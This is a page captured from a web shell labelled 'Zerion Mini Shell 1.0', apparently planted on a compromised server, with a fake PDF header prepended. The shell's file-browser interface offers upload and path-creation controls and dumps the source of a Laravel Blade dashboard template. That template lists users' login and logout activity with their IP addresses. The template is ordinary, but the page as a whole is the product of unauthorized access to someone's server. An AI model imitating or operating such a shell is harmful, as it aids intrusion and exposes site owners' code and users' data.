%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/dsr_code/resources/views/backend/super-admin/dashboard/
Upload File :
Create Path :
Current File : //home/silvzytp/dsr_code/resources/views/backend/super-admin/dashboard/activities.blade.php

@extends('layouts.backend')
@section('title', $siteTitle)
@push('styles')
    <style>
        .item-list{
            max-height: 500px;
            overflow-y: auto;
        }
    </style>
@endpush

@section('content')
    <div class="row">
        <div class="col-lg-6 col-12 mb-2 mb-lg-0">
            <div class="ibox">
                <div class="ibox-body">
                    <ul class="item-list padding mb-0 pl-0 list-unstyled">
                        @foreach ($activityLogin as $log)
                            <li class="{{ $loop->last ? '' : 'mb-2' }}">
                                <i class="fa fa-square text-info" aria-hidden="true"></i>
                                <span>
                                    <a href="#" class="d-inline-block">{{ $log->user->name }}</a>
                                    <span class="d-inline-block">
                                        logged in </span>
                                    <span class="d-inline-block">
                                        to the system </span>
                                    .
                                </span>
                                <span class="small italic d-inline-block">{{ Carbon\Carbon::parse($log->date_time)->diffForHumans() }} </span>
                                <span class="d-inline-block">(<a href="https://whatismyipaddress.com/ip/{{ $log->ip_address }}" target="_blank" rel="nofollow">{{ $log->ip_address }}</a>)</span>
                            </li>
                        @endforeach
                    </ul>
                </div>
            </div>
        </div>

        <div class="col-lg-6 col-12">
            <div class="ibox">
                <div class="ibox-body">
                    <ul class="item-list padding mb-0 pl-0 list-unstyled">
                        @foreach ($activityLogout as $log)
                            <li class="{{ $loop->last ? '' : 'mb-2' }}">
                                <i class="fa fa-square text-info" aria-hidden="true"></i>
                                <span>
                                    <a href="#" class="d-inline-block">{{ $log->user->name }}</a>
                                    <span class="d-inline-block">
                                        logout in </span>
                                    <span class="d-inline-block">
                                        to the system </span>
                                    .
                                </span>
                                <span class="small italic d-inline-block">{{ Carbon\Carbon::parse($log->date_time)->diffForHumans() }} </span>
                                <span class="d-inline-block">(<a href="https://whatismyipaddress.com/ip/{{ $log->ip_address }}" target="_blank" rel="nofollow">{{ $log->ip_address }}</a>)</span>
                            </li>
                        @endforeach
                    </ul>
                </div>
            </div>
        </div>
    </div>
@endsection

@push('scripts')

@endpush


Zerion Mini Shell 1.0